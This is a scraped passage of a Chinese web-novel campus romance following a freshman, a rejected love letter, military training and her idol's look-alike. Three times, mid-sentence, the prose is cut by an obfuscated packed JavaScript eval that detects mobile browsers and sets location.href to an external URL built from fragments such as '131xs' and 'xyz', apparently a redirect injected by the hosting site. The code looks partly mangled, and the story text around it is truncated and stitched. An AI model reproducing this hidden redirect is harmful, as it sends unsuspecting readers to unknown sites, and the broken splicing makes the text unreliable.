“回去给你姑说声见着人了，她怕你一个人老闷着。” “等待会儿收拾好我就给小姑打电话。” 老许泪花旋在眼里，孩子这么大还是第一次要离开这么久，身边还没个亲人友。忍着没回头，摆摆手装作轻松。 “走了。” 许诗跑上去从背后给了个袋鼠抱，老许腰杆吱呀，鱼尾纹像开了花，眼红红的。 别开脸，“风大。” 许诗没戳穿，自己心里也难受，“诶！你和老妈都要照顾好自己，我会经常给你们打电话的，不要太想我。” 最后总归是开心离别。 等送走老许，她二话不说就给方晴晴去电，那边还在听方叔叔唠叨。 “许诗你东西都收拾好了？” “还没呢，正往宿舍走，我告诉你，你猜我今天见着谁了！” 8. 军训 方晴晴补完校园卡送走方毕后，闻着吃瓜味儿嘻嘻哈哈就来了。 “宿舍风景还不错，柜子都是新的欸。”到处摸了一遍后才想起来正事，顺着许诗后背头发，看人对着照片发愣。 “在想什么呢，还有许大美女想不通的事情？” “不说这张还真好看。” 这是许诗从柯柯微博上保存的，去年520那天，柯柯捧着鲜花和蛋糕，露出了个模糊的影子。 她又仔细的看了一遍，连边边角角都不放过。 还记得那会儿在评论下面发了自己曾经拍过类似姿势的单人图，还不少人点赞，关注，加好友，她就是这么进入粉丝群的。 这图片很多粉丝都说迷糊都不知道是谁，看来方晴晴也确实是加滤镜了。 “有品！”许诗转过身，就算想了几遍还是很诧异手里捏摇着照片，一脸悬疑侦探地看着方晴晴，“还真像。” 方晴晴杵靠在床梯子，笑她是不是想多，“听说京大帅哥不少，还有柯柯这样高质量的？” “都没见过真人，再说了，你偶像不说还是未成年高中生，怎么会在京大。” 许诗叹气，蔫蔫地说，“我想也是，自从那次见面会结束后，我好像对他从事业粉变成女友粉了，你说癫不癫。” “就连看个相似的人，也思来想去的。” 这个暑假有点不一样，高考结束，冲破未成年大关，好像被题海压抑多年情愫在某那一刻迸发，瓦解，再重塑，从而有了悸动，思念和忧愁。 难道这就是成年人的世界吗。 “这是情窦初开，老婆粉都有，女友粉更是遍地，很正常。”方晴晴拖起那张胡思乱想的小脸，“高中这么多人追你，没产生过这种感觉？” 许诗摇摇头，“没。” “那校霸追你，这么大的攻击力，也没感受到一点点？” 那会儿又是广场表白，当众维护，声势浩大。但她心里只有读书。 “没。” “那柯柯呢，远远看一眼就满足了？”方晴晴说这话虽然不地道，但谁还没点自私。 “演唱会以前是没有的。”许诗发誓说。 “这就不妥了，许诗你居然在成年后才有少女情怀！” …… 许诗白她一眼，挠腰，“现在也是年轻貌美的少女好伐。” 逗得方晴晴捧腹大笑。 又问，“事来得突然，得想清楚你现在是对柯柯产生了萌动，还是……” “该不会对那谁一见钟情了吧！” “方晴晴你小声点！”许诗捂住她嘴巴。老许这才叮嘱完好好学习，要是传到了他的耳朵，以后买偶像的周边算是彻底没戏了。 其实也不算，是五个小时之后才慢慢回味，有了点小说妹那点言情小心思。 听方晴晴怎么说，好像还真有点异样，“不是吧，菀菀类卿，顶多是替身，或许是这样才一点兴趣？” 她自己也不确定。 方晴晴啧啧啧，“小说看多了吧，还搞替身？你这一说我越来感兴趣了，到底是何方神圣？” 两人头对着头说来，像是在密谋什么大事，还好宿舍其他人还没入住。 “你之前还记不记得我和你说的那个我姑姑男朋友的儿子，今天来帮忙了，看了一眼……” 在背后说人总是不太妥当，她发誓，只是想分享而已，并没有一点说坏话的成分。 “让我们许大美女微信加了一个星期都还没回音的家伙？”方晴晴记起来了，那会儿她还蛐蛐说没礼貌，叫许诗别管他。 没想到峰回路转。 她清了清嗓，“多好看能有什么用，人品重要点。” 她方晴晴作为一个颜狗，但并非毫无底线，偶像塌房多了，自然知道人的三观是多么重要。 许诗赞叹地点头，“英雄所见略同，不过你没见过，要是见了，说不定也很震撼。” “真？” “真。” 方晴晴看破一切的坏笑，多年好姐妹，第一次见许诗这样，说明此事不简单。 戳她胳肢窝，许诗痒酸得发笑，“好姐妹无论如何也要让我开开眼界，什么时候约出来见一面，嗯？” 许诗疯狂摇头，她刚刚还当面说人家的不是，这会儿赶着上去，还真坐实了脑子有问题。 “我不敢。” “不敢还是不想？还有许大美女不敢做的事情？” 畏畏缩缩还真不是她的风格，就算是跟着老许吴女士出入名流场也没有怯场过。 “但这又不是数学题有固定答案，况且，我看他也挺不好相处的，万一我孤身奋战，打不过怎么办。” 方晴晴一想也是，“可你都能和社会混混斡旋几大回合，而他好歹也是京大学生，礼义廉耻总知道吧。” 许诗再三拒绝，被方晴晴剖析地小脸酡红熏热，“不是一回事儿……” 新生入学事宜基本接触，紧接着大一新生要开始为时十二天的军训。 今天第一天。 许诗早早就起床刷牙，准备出门时，看着对床室友还没动静。 拍了拍帘子，“岑岑，起床了。” 沈岑声如游丝，“许诗，你帮我和教官请个假吧，就说我肚子不舒服，还有这个。”她撩开帘子，一副病弱的样子，递给许诗一个粉色信封。 “能不能拜托你帮我交给汉语言一班的柯然同学。” 柯然。许诗看着封面少女笔迹，心沉了沉，脸上云淡风轻，只有吃瓜的神情，“这是？” “一些仰慕之类的话啦，我前天还还看到你们在饭堂，想着你和柯然认识，唯有请你帮帮我了。” 紧接着小心问，“对了，你们是什么关系啊？” “没啥关系，我小姑男朋友的儿子，我和他也不熟。” “这样呀，你们还算认识，能不能帮帮我……” 随后沈岑彻底忘记生理不适，声情并茂地演说了她和柯然因为一杯凉茶的巧遇。 “我发誓大学要好好谈一个喜欢的人，他正好长在我的点上，我不想错过。”托姐妹的人际关系，找到了他所在的班级以及名字，其实也不难，据说汉语言系没到两天，几乎所有人都认识了他。 只是许诗没想到，看起来文文静静的i人女孩，居然有这么大勇气。 再三请求之下，她被磨心软了，只好答应，“好吧，只有这一次，其他的你自己来。” “包没问题的！” 夏日鸣蝉燥燥，阳光一圈一圈照射在地表，操场一片哀嚎。 休息时间，许诗拽着信封观察一圈，想着该怎么送出去，可汉语言系在哪儿也不知道。 只好拿出手机，奇怪作祟地敲完了几个字，“中午方便吃个饭吗？” 还没等放回包里，那边来消息。 triE:可以，什么地方？ xu:芳园吧。 许诗等了十几秒，默认他看到了消息，并且同意了，这才安心将手机放回包里。 “许诗。”方晴晴远远地喊她，“可把我累坏了，简直就是魔鬼式训练。” 本来就留着一头短发，脸晒得通红通红，这么一看还真有点像假小子。 “你来得正好，我有事找你。”一边说一边给她涂抹防晒霜…… 下午下课铃声一响，芳园顷刻涌入一大批迷彩服，高中抢饭的本领丝毫没忘，许诗高中走读，这种宏大场面还是第一次见，若不是方晴晴拉着，那瘦小的身躯准会冲散在人海里。 柯然他们班今天学打拳，因为打得好，教官早十分钟就放他们下课。 他找了个最显眼的位置，一进来就能看到。 很多妹子看到这么一个板扎大帅哥坐在在芳园，和闹哄哄的饭堂气氛完全相异，更像是一具精雕，供人远远观赏。 本来拥挤的芳园这下更加热闹，不少女生都争相拍照，认识不认识的都在讨论。 帅哥到底是哪班的，在等哪位女生吃饭。 这会儿梁康奇端着一大盆饭菜过来，帅哥受欢迎正常，但是穿着燕尾服，举着高脚杯在等谁呢？ 放下盆子，左右看着那些流露爱慕的女同学，“帅哥你有难了，要不要我帮你折了桃花？“ 柯然抬眉，一副劝他别乱说话的表情，盯着他的盆子，“都不够塞住你的嘴巴？“ 这天气使他心里有点烦躁，望了一眼手机，下课已经过去40分钟了，人还没到。 梁康奇意味深长笑，“等妹妹？“ 一个锋利的眼神投去，再不走帅哥怕是要动怒了。 “等你好消息哦。“ 作势给他一拳，才把人赶走。 拿起手机，点开捧着小雏菊的头像，女孩穿着一袭黄色碎花裙，模糊影子，但他知道就是许诗，清冷气质很好辨认。 triE:找不到芳园？ 那边方晴晴拿着手机，激动不已，“诗，来信息了！” 宿舍洗手间里传出许诗声音，“我忘记提前和他说了，你帮我回个马上就到。” 本来想着解散后去饭堂，方晴晴说谁家女孩臭烘烘就见人，楞是拉着她回宿舍洗澡。 被水冲刷过脑子后许诗才想明白，又不是约会，是别人托她给情书。 方晴晴一听急了，那好的形象更少不了，平常读书是她好，但如何抓着男人，还得看她方晴晴的。 换去迷彩服，穿了一条米花碎花收腰裙，头发简单吹了下，蓬松顺滑垂在肩上。 方晴晴啧啧称赞，“许大美女解除迷彩服的封印之后，绝杀京大！” 她总觉得有点撬墙角的意思，“这会不会不太妥？” “有什么不妥的，正常穿衣，要是他喜欢，只能怪他把持不住。” 柯然还保持着耐心坐姿，就算被当作吉祥物被观赏也无所谓，自从出道以来，他几乎没在公共场合露脸，难得有怎么闲暇时刻。 某人发信息说快到了，怕饭堂没什么好菜，于是按照那日的菜式，一模一样地复刻了一份。 “小伙子你一个人能吃下这么多，是不是在等人？”饭堂阿姨笑着问，给帅小伙多添了菜。 他看着自己的盘，咸口的，甜口的，蔬菜，水果都有。 “和朋友一起的，不知道她爱吃什么，就各样都点了些。” 阿姨一脸“我懂你们小年轻的神情”。 “女孩子都爱吃甜食，今日的什锦新鲜。”说完准备给舀一勺。 “阿姨不用了，我吃不了这么多。”许诗和方晴晴刚过来，俩人观察了好一会儿。 确定身形柯柯很像，但方晴晴说，还是没有偶像迷死人的氛围感，帅是帅，但总感觉差点意思。 许诗说大概是穿着偏日常，挎着书包，全素颜，那怎么比？ “许诗你还护上了？？？” 见人来了，柯然托着盘子从二人侧身冷冷走过，眼皮子也没抬，要不是清淡的薄荷香味氤氲周围，还以是什么机器人。 方晴晴玩味地看一眼许诗，小声说，“脾性还挺酷，默默打好饭菜等我们，还不求回报。” 许诗戳她手肘，“别说话。” 人直直转身，居高地打量许诗，清香的紫罗兰味道，头发乌黑飘逸，与别人那一身迷彩服相比，料想专，门精心打扮过。 嗤一声蔑笑，又瞥了眼方晴晴，同是带点难以相信的神情，“不知道你找我什么用意，但礼貌总得有，下次专门约人，可不宜迟到这么久。” “再者，迷彩服没有什么见不得光。” “有什么事快说吧，我还得忙。” 许诗和方晴晴两两相望，这是把她们当作什么，爱慕者？ 许诗还没反应要怎么解释，有个女生跑了过来，直接在她们面前，“帅哥，加个微信吗？” 被他拒绝了。那女生眼睛红红的，捂着脸走出去。 “让女孩子哭的事，我反正做不到。”方晴晴看着那张如刀削的帅脸，悄悄凑到许诗的耳朵，“真的太有性格了！” “不是，今日我找你是感谢那日，还有这……”她从包里找出那个粉红色信封，塞到他手上。 这种事她还是第一次做，甚至毕高考还要紧张，以至于不知道说些啥。 “这是给你的。”方晴晴替许诗说完，立马拉着她走了，连饭都没吃上几口。 等走到音乐喷泉的时候才停下。 “我还没解释呢，你干嘛拉我走。”许诗说着要回去。 “我看你脸都快红到耳根子了，也没敢看他，还能说些啥，里面不有着署名吗，他会看到的，赶紧吹风降降温。” 方晴晴一边出主意，一打趣说，“我看诗儿你情窦初开，没想到来得如此猛烈，之前我可没看你对哪个男生脸红过，哦对，柯柯那次有点。” 虽然人是正常走出演出厅，但足足亢奋了一晚，以至于最后敢赤拳空手与那几个小混混叫嚣。 还好有人见义勇为，她和老许一直想找到那晚的勇士，答谢送锦旗，但问遍了大庆亲友，都说没见过。 许诗双手夹着脸，已经能感受到脸颊灼烧，方晴晴一边开玩笑，快要无地自容了。 只能等下次再解释，俩人跑去超市买冰棍吃，顺便购置点生活用品和水果小零食。 柯然拿起信封，字歪歪扭扭地写着to:kk～，手绘了一个可爱的长发垂肩女孩。 “字写得不如何，画得还算可以。”他点评。 那天带许叔叔食堂，说许诗要是有学业上的异途，比如谈恋爱什么，要告诉他。 他还答应了。 现在看来知女莫如父。他笑了笑。 旁边有个垃圾箱，随手一扔，阿姨正好打扫卫生，随即黑袋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765188|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一扭绑紧，连带信封一并被甩上垃圾车运走了。 好像从没来过。 次日，某某同学表白汉语言一班柯然同学无情被拒，情书被当作垃圾一样扔掉的消息不胫而走。 校园通很快就查到了可能是计算机实验班的同学。 并且po出了闹哄哄的饭堂，柯然如众星捧月坐在其中，与一模糊女子交谈的照片。 京大新晋校草到底会和什么样的女生有关联。 校园男女之事喜闻乐见，论坛上纷飞着各种讯息，除了满足吃瓜外，更想看看帅哥美女。 军训第二天晚上，新生晚会。 许诗受邀新生演讲，一整天都在写稿子背稿子，连方晴晴的消息都没时间看，这临场开始才打开微信。 蹦出了几十和红点吓她一跳。 方晴晴:许诗，你要成为京大绯闻人物了 方晴晴:你知不知道昨天见的那啥，你姑丈的儿子，转手把你的情书扔进垃圾箱，被人拍到了放在校园论坛上 方晴晴:快去瞧瞧吧 等等—— 许诗粗略地滑动，除了有点震惊，为岑岑不值以外，并无过多情绪。 啪啪地敲完了字。 xu:他这个举动符合常理。人到了没有，我就要上台了。 方晴晴:许大小姐临危不乱啊，马上到！ 老许和吴女士听说许诗要代表新生发言，硬要方晴晴给他们一字不差地录屏。 能容纳两万人的操场，此时人影幢幢，除了各科老师和其他年纪的师兄师姐外，大多还应要求穿着迷彩服。 许诗站在舞台右侧，校长正在说话，大概说欢迎17界新生，寄望与展望云云。 京大优秀学子如过江之鲫，其实读了这么多年书，谁都说出来一番感慨和憧憬，领导之所以选她，大概是以工科为主的学校分不开。 她不紧张，但莫名其妙地想到了那个人，以及在推理，背后扔人情书到底是什么意思。 而那个人此时正在操场某一角看着她，原以为她会和别的小女生一样受委屈哭哭啼啼，但现在看来，他的担心多余了。 “许同学准备。”广播停了，旁边老师示意许诗准备，快要上场了。 她做了个OK手势，把稿子折回口袋，清了清嗓子，整理迷彩服领子，准备上台。 广播又重新响起，依旧是校长代表发言，平稳的语调里使人如沐春风。 “接下来有请计算机实验班许诗同学！也就是徽阳省理科状元！大家鼓掌欢迎！” 方晴晴站在离舞台中间位置，姐妹出色，她脸上有光，呐喊，“许诗加油！许诗加油！” 台下人如群星璀璨，她依稀听到了熟悉的声音。 步伐稳稳走过阶梯，脸上自带与生俱来的自信从容，微笑着与台上老师领导们逐一点头，他们满意地回以微笑。 掌声混着夏日鸣蝉彻夜不息，在璀璨灯光照耀下，喧闹嘈杂，灵魂尽情释放，这是不被规守的生命主人，每个人都站到了属于他们的时代脚下。 动容而热泪盈眶的。 随后灯光一暗，再一亮，原本白炽灯变成柔和的暖黄色灯光。 操场顿时鸦雀无声，每个人都好像商定好了一样。 在这之前，她确实是平静的。但只有这一刻才意识到，没有哪一个人能抵抗住那些澎湃热烈的情绪共鸣。 更何况他们都是在同一条路厮杀出来的勇士。 嘹亮清晰地回荡在这个夜晚。 “同学们晚上好，我是来自计算机一班的许诗，很荣幸作为17级大一新生代表发言……” “最后分享法国思想家罗曼·罗兰的一句话：世界上只有一种真正的英雄主义，那就是在认清生活的真相后依然热爱生活。” 方晴晴被她说得哭红了双眼，一边抹眼泪一遍欢呼呐喊。 “愿我们都能做一个有担当的人，生命不止，永远热爱，永远纯粹！” 这句话是偶像在微博上留的。 她记住了，并且在人生的很多平凡时刻，都曾警醒着自己。 掌声再续雷动，经久不息…… 有人认了出来，新生代表就是昨日在食堂被拒绝的女生。 “没想到这么好看又优秀的女生也要吃爱情的苦，我看上天还真一点都没偏心。” “我看也是，要是我能这么优秀，寡三代我也愿意，大女主切记不要为男人瞻前顾后。” “可不，刚才说的那些话，都给我说哭了，呜呜呜。” 两个女生灵魂共鸣，同是赞善的目光看着许诗。 方晴晴在她们旁边，上台前她还担心许诗会被人认出来，产生什么负面看法，她担心多余了。 该被耻笑的不是勇敢追爱的人。 看着两个女生聊得起劲儿，方晴晴也加入说了一句，“咱三观绝对正！” 晚会结束后，许诗直奔方晴晴，方晴晴在下面等着她击掌拥抱。 “太厉害了我的诗，为你骄傲！”她无比崇拜，“录像待会儿发给你，你跟我过来，有个人要收拾一下。” 许诗看着方晴晴神神秘秘的，被她一股江湖风气逗笑，“干嘛去，掐架啊？” “发生了这么大的事情，差点成为全校饭后闲谈了，你还有心情笑出来，反正这事我得帮你讨个说法。” 说完拉着许诗走，刚才她看到柯然身影。 “还像个小孩子呢，感情的事哪有这么简单，况且，现在重要任务的不是找柯然，而是安慰我室友。” 他这人没礼貌的程度虽然刷新了许诗的认知，但是转念一想，她有什么好伤心的，一来不熟，更别提什么感情基础。 “真的？”方晴晴使劲往她脸上盯，试图找出点正常人被拒的失落伤心，但她确实太过理智。 “放心，之后咱不要招惹他就行。” 忽然有个巨大的身影压过来。说曹操曹操就到…… “原来情书不是你写的。”他走过来，望着许诗，见人脸上和开学那会儿不差，这才放心。 兜手侧瞥，“替人送情书，乱点鸳鸯的事情，你也干？” 都说了背后不要乱说别人，怎么抓把柄的老是他…… 她发誓在被扔情书之前，还尚留一丝好感，但现在尽数溃散。 “背后扔人情书的事，你也干？”许诗面无表情怼回去。 面前的人轻声笑，清风明朗，心思净得透明，“我长这么大以来，这种事确实是做不少。” 平常不少粉丝给他写信，他一概不看，明白说了会是扔垃圾桶的下场，要她们好好关注的自己生活，有什么事在微博留言，他会看。 “六边形战士。”方晴晴在许诗耳边蛐蛐，“我们算遇到对手了，还真够自信的。” 许诗呵笑，就这一点，完完全全和他偶像不沾边。 9. 欢喜冤家 晚风吹拂，少了白日的燥热，多了些许清凉。 她其实带了点怒气，只不过微弱似无。老许说她性子太静，什么时候遇到个能气气她的人才好。 托老许的福，还真被说中了…… 她气的不是被情书被扔，而是这人用着偶像的身子，说着些不符偶像性格的话。 她大抵也是疯了，才会一次次把他当做柯柏坤。 那人完全不考虑别人，就好像即便末世到来，人类拼命逃生，他也能松弛喝茶赏景。 许诗尽量克制自己不去看他，小拳愤慨了捏了捏，“拜托，这不是什么值得宣扬的事情好吧。” 柯然无奈耸肩，一副自知帅哥，但不好意思了。 痞气的样子，真的让人想揍。 “不如你说说，好让我有个学习的法子，变得跟你一样优秀，我爸可不少说让我多向你学习。” 慢慢凑近，鼻息频频置换，腔调带着若有若无的笑意，极尽挑逗，“许？代表？” 许诗确实被他蛊到了，倏地高温，别过脸，耳边上方撒着薄荷气息，和棉花一样柔软，抹在皮肤上，软软的痒痒的。 慌得推开了他，双眸飘忽闪躲，“我……我懒得理你。” 方晴晴在一边笑得肚子痛，忽而空气凝滞，“不好意思，打扰二位了。” 柯然低眉一敛书包上的挂件，轻蔑一笑，“这是你的学习榜样？” 许诗心虚地捂了捂，她不好说这几天都把他当做偶像替身了。 “是，那又如何……” 头昂了昂，“被拍发到校园网上我不知道，这事跟你道歉。” “不必了。” 刚才在台上连风也吻不止，少女的发丝被吹乱，散漫而自由，青春亦张狂。 说着那些他人生灰暗时刻一字一字敲下来的话。 没想到有人真的记住。他当时尴尬了一下，很早写的语录，现在听起来矫揉造作。 他承认做得确实过分了点，“以后这种跑腿的功夫，还是少做吧。还有那些不知道从哪里听来的中二的话，自己知道就行。” “他说啥？”方晴晴愣了愣。 “我偶像的语录，不过他怎么知道？” 许诗偷偷抬头望着那人，直到现在还是难以相信世界怎会有如此相似的身影，于是心里的某个怪力想要作祟，验真一下。 她取下书包双肩，把挂件解下来，递到他的跟前，有意无意第对比下。 这张下卡是她去相馆打印的，里面是她和偶像的二人合照。 发梢在四彩光下相连，风从前面吹来，正好吹开了他额间的发丝，露出了分明立体的眉骨。 偶像的头微微后仰，嘴角上扬，露出了尖小的虎牙。 仔细从看面罩里面，深邃的双眸没看镜头，倒像是凝着自己。 轻轻一个动作，给予了足够的空间和尊重。 许诗又偷偷地瞥了眼，唯物主义意识使她再次做起了人类差异分析。 “看什么，我和他长得像？”柯然拿过，蹙眉地扫了眼，不感兴趣。 许诗看他满目疑惑，小心翼翼问，“你认识？或者和他有什么关系？” 柯然举手越过她头顶，不经意低触碰倒被清风托起的发丝，许诗下意识脖颈一缩，只听到哐当的一声，小卡挂件被他扔回书包。 才发现自己的背包拉链没锁，在他的注视下拉上去，“轻点儿。” 某人语间轻松自在，像是在开玩笑，“该不会那个旧人就是他吧，我看着也不咋地，穿搭时尚有风格，不露脸，是目容丑陋？” “你！”许诗朝他手重重地挥了一拳，“个人特色，我看你羞辱人也狂妄的，怎么不发嘴皮子给缝了？” “嘶！”面前人痛得哑声，“看起来瘦瘦小小的，力气这么大？” 方晴晴在旁边不嫌事大，“学过的。” “收力了。” “好样的。” “下次再敢试试。” 两人你一言我一语。 “欸，你们能不能照顾一下病患，都快骨折了。”左手顷刻红肿一片，这人分明就是按照脉来打的。 受到警告之后，又手动给自己嘴巴上锁，“我说真的姐姐，你看，都淤青了，你不想被导师知晓吧，我不管，得亲自和我去校医室，没事了才能走。” 许诗扑哧一笑，都这种时候了，还死鸭子嘴硬，但求人的样子真像她家里的比格犬来福。 “行吧，那姐姐们陪你去。”她是怕倒是家人知道，说欺负他呢。 “我恐怕不行，肚子痛。”方晴晴有眼力见，耽误人的事她不干。 许诗瞳孔一睁，方晴晴你故意的，这时候临阵脱逃，讲不讲义气？？？ 这时候真跟着去了才是不讲义气！ “不说了不说了，我得如厕去了。” 一溜烟不见人。 空气骤寂…… “校医室我还没去过。”许诗直白说，略有些不好意思，毕竟伤因自己。 “问呗，只能祈祷这么晚了，校医室还没关门。” “嗯……不然是能去校外医院急诊了。”许诗低头观察了他的手，学跆拳道的，自然也知道伤的程度以及恢复方法。 表情中带了点天可怜见，“没什么大碍，这几天别用力，个把月能自己恢复。” 那人躲了躲，头发挠着他手臂酸酸的。想装作轻松活动活动下手部胫骨，抬都抬不起来，脸色铁青。 “你还会这行呢！”没好声好气说。 许诗一脸我刚叮嘱完你别动，这下好吧，活该的神情冷冷地看着他。 “从小学跆拳道，这点伤不算什么。”眼角一抬，有种看不起的意思，“你这种奶油小生遭不住。” “你！这会儿是想报仇是吧。”无法反驳之后，略带了点赞赏盯着她，“没想到这小身板看起来柔柔弱弱的，居然学跆拳道。” 那天看她对峙小混混时浑然不怕，原来是学了跆拳道。 许诗假笑呵呵，“本姑娘心眼没这么小。” 两人一边找校医室，一边有的没的聊几句。 “男女力量悬殊基因决定了，能用稳妥自保方法，就别用搏斗，不然容易吃亏。” 校园里男女两两并排走的情侣很多，俊男靓女自然也受到关注，不少路人往他们身上瞄。 “你说什么？”许诗没听清楚，被人窥视的滋味太奇怪了。 柯然看她走得不自然，注意力都往别人那里去，拔高声音问了句，“刚才在台上看你意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一路上夏植暹问了很多关于西津一中的事，才知道他们同个班主任。 柯然百无聊赖地听着。 “对了，你是哪个高中的？”许诗问。 “听着口音不像是徽阳，省外？”夏植暹猜测。 “嗯，辽南的。” “辽南，辽南的大草莓还不错。” 柯然嘴角上扬，“还是你们徽眼的荔枝龙眼好。” 许诗在他们中间，看着这两个男孩讨论着家乡的不同见闻，还怪有趣的。 柯然，认真聊天的时候，原来没这么讨厌。 转角校医室到了。 医生仔细看了一遍，又按了按，抬起老花眼镜，“没伤到筋骨，还差着千八百里，这地方不好拿捏，打你的人有分寸。” 开了几种消肿药，“每天涂四次，冰敷三次两三天就能恢复原样。” 柯然咬着牙看许诗，“那我是该谢谢她手下留情了。” 许诗低眉闪躲，她真的只想吓唬吓唬而已。 10. 解开误会 京大左边有条小食街，进驻了很多商家，有超市，路边摊，奶茶店等等，晚上烟火味窜天，很热闹。 夏植暹选的烧烤店是京大学生以及附近居民最爱去的地方，便宜，满500块烧烤送一打啤酒，满1000块，酒水免费。从六点晚饭开始一直到凌晨三四点，都热火朝天。 京大在近海城市，海鲜便宜，这家烧烤摊的物价更是直冲进货价，比外面低出一两成，做法也是地道的海边人民吃法。 许诗很少吃烧烤，也很少去这么嘈杂的地方，大庆没什么烧烤店，快餐店倒是不少，觉得有点新奇。 大多是四五人一桌，应该是社团聚餐。 “三位要吃点什么，看看菜单哈。”听着口音是当地人，热情地拿着茶水走来，招呼他们坐下。 “看看你们都想吃点什么，这家的鱿鱼不错。”夏植暹介绍说。 许诗逐一看了下，“那点个鱿鱼，花菜，还有鸡翅，看看你们要吃点什么。”菜单递给柯然。 他白净，脸上光滑得跟镜子一样，应该也不经常吃上火的东西，而夏植暹是明显南方那种不抗热气的体质，在他脸上能看到不少豆坑。 柯然扫了眼，“和许诗一样。” 许诗还是第一次听到他说自己的名字，这给一种他们很熟悉了，能开着玩笑说对方的名字的感觉。 她愣了愣，那人把笔杵给她，意思是喊她在菜单上，手不方便写。 “哦，那学长看看要吃什么。” 夏植暹笑了笑，看着许诗旁边的男同学，“你们看起来关系很好，这位同学也是大一新生？” “嗯，连校医室也找不到。”柯然吃着水果。 “不熟，也是才见过几面。”许诗笑着回答，有意回避。 夏植暹示意了眼他的手臂，还红肿，“原来是不打不相识。早就听说学妹学了傍身技能，没想到是这么用的。” “就连学妹这么优秀的人，也毫不犹豫拒绝。”脸上满是赞许的眼光看着许诗。 不得不说，这也是一双看电线杆都深情的眼睛。但她只感觉到尴尬。 看来柯然拒绝自己的乌龙事，已经全校皆知了，许诗假笑呵呵，“我真没那意思，说来话长。” 柯然一听就不爽了，合着把他当作流氓了，少年脸上有意无意地自嘲了下，“是，就是防着我的。” 两人好像有了别人无法介入的空间。 夏植暹也不好意思追问下去，“帖子上还有不少女生要你的联系方式，京大每年都有校草，像你这样帅气的，就连我还是第一次见，今日有幸见到真容，才觉得网上说得一点也不假。” 许诗敛过他神情，是一张看一眼就能让人记住的脸，符合传统意义上的帅气，是那种老中幼都喜欢的长相，又因为刚刚长开，还具有开发更高颜值的潜力。 不看脸，单纯看背影，在人群中也很是亮眼。 许诗不得不承认，要说他偶像氛围感一绝，那柯然能排后面。 还是说帅哥都有这样的特征。她不太懂，但方晴晴喜欢的偶像，她就欣赏不来。 柯然倒不以为然，云淡清风，一点骄傲的神情都没有，仿佛被夸赞是一件及其自然的事。 “恰好五官就这么凑，论成分，大家都一样。”天生自带的松弛感。 许诗没想到他还挺幽默，还以为是个毒舌男。冷笑话害得她冷不丁地笑了笑。 老板将烧烤端了上来，香味扑鼻，许诗是个对美食没有什么过高要求的人，就算是饭堂大锅饭的煮法，她也能吃出吴女士的味道。 但这家烧烤的味道，直冲她味蕾。 “好香！” “小心烫，要不要果汁。”夏植暹贴心地递上纸巾，把烧烤挪到她近手处。 “要一瓶果粒橙，谢谢学长。”许诗迫不及待品味了。 夏植暹疑惑了下，还不知道这么称呼。 “柯然。”他看着这位学长很是关照，自报家门。 “对，你们还没知道名字。”这两人看起来都不是什么社恐的人，怎么一坐下来都有点异样，还等着她引话题。 “夏植暹。” “那我也来杯果粒橙，谢了。”柯然说。 等吃完宵夜后，已经临近十二点，两人送许诗回了宿舍。 沈岑不舒服了两天，今天打开手机一看，才知道天塌了。 “许诗，真是抱歉啊。”她为了表达歉意，给许诗送了写吃的，“我不知道那人这么没礼貌，连打开都不打开就扔了……” “这算什么大事，没事的。”今天有不少人提醒她，安慰她，但她真的就只是浅浅地疑惑了一下，人的钝感有时候真的能帮自己过滤掉不少负面情绪，挺好的。 但是以后替人送情书这事儿，她不会再干了。 “那我们还是朋友不。”岑岑像个不谙世事的小女生抱着她。 “当然是啦。”许诗摸摸她的头，“教官今天还提醒我喊你注意休息，这么晚还不睡啊。” “么么么亲一口。”蹦蹦跳地缩回了自己的床，“我看早上看论坛的时候还有很多男生要你的微信，说不定这一届校花比赛，就是你了。” 许诗连忙摇头，她可不想要什么噱头，“我只想好好读完大学四年，这些事还是让别人来吧。” “这可由不得我们，都是学生选的，我看今天论坛上已经有相关话题了，你的呼声很高。” “据说，上一个校花已经被知名导演看上，走上演艺道路了。” 这又是许诗一个盲区，她平常不爱关注娱乐圈，最多也只是从方晴晴嘴里得知，还有她偶像。 “你不想试试吗？”岑岑又问了句。 另外一个在看剧的室友，楚晓云接话，“一看许诗就是走那种科研的路，而且娱乐圈复杂，难生存。” “是的。”许诗做了个你懂我的手势。 等洗完澡出来后，擦着头发，微信弹出了家族群和方晴晴的信息。 二老关心她军训累不累，注意防晒之类。 xu：一切都好，不用担心，你们都睡觉了吧。 那边接着回。 老许：那今天有没有答谢那柯然同学，有没有请人家吃顿饭。 吴女士：哎呀，瞎操心，这事儿诗儿知道怎么做。 许诗没敢告诉她们，今天还把人手也打肿了…… xu：刚刚吃宵夜回来，该答谢都答谢了，绝对没丢你们的脸。 老许：嘿，你这孩子，早点睡觉。 吴女士：我们睡觉了，诗儿在那边有什么事情，和家里说昂。 xu：你们注意身体，拜拜，爱你们。 点开方晴晴的聊天界面。 方晴晴：许诗，你快看学校论坛，他出来澄清了。 附上了一张截图。 许诗放大。 我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765190|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 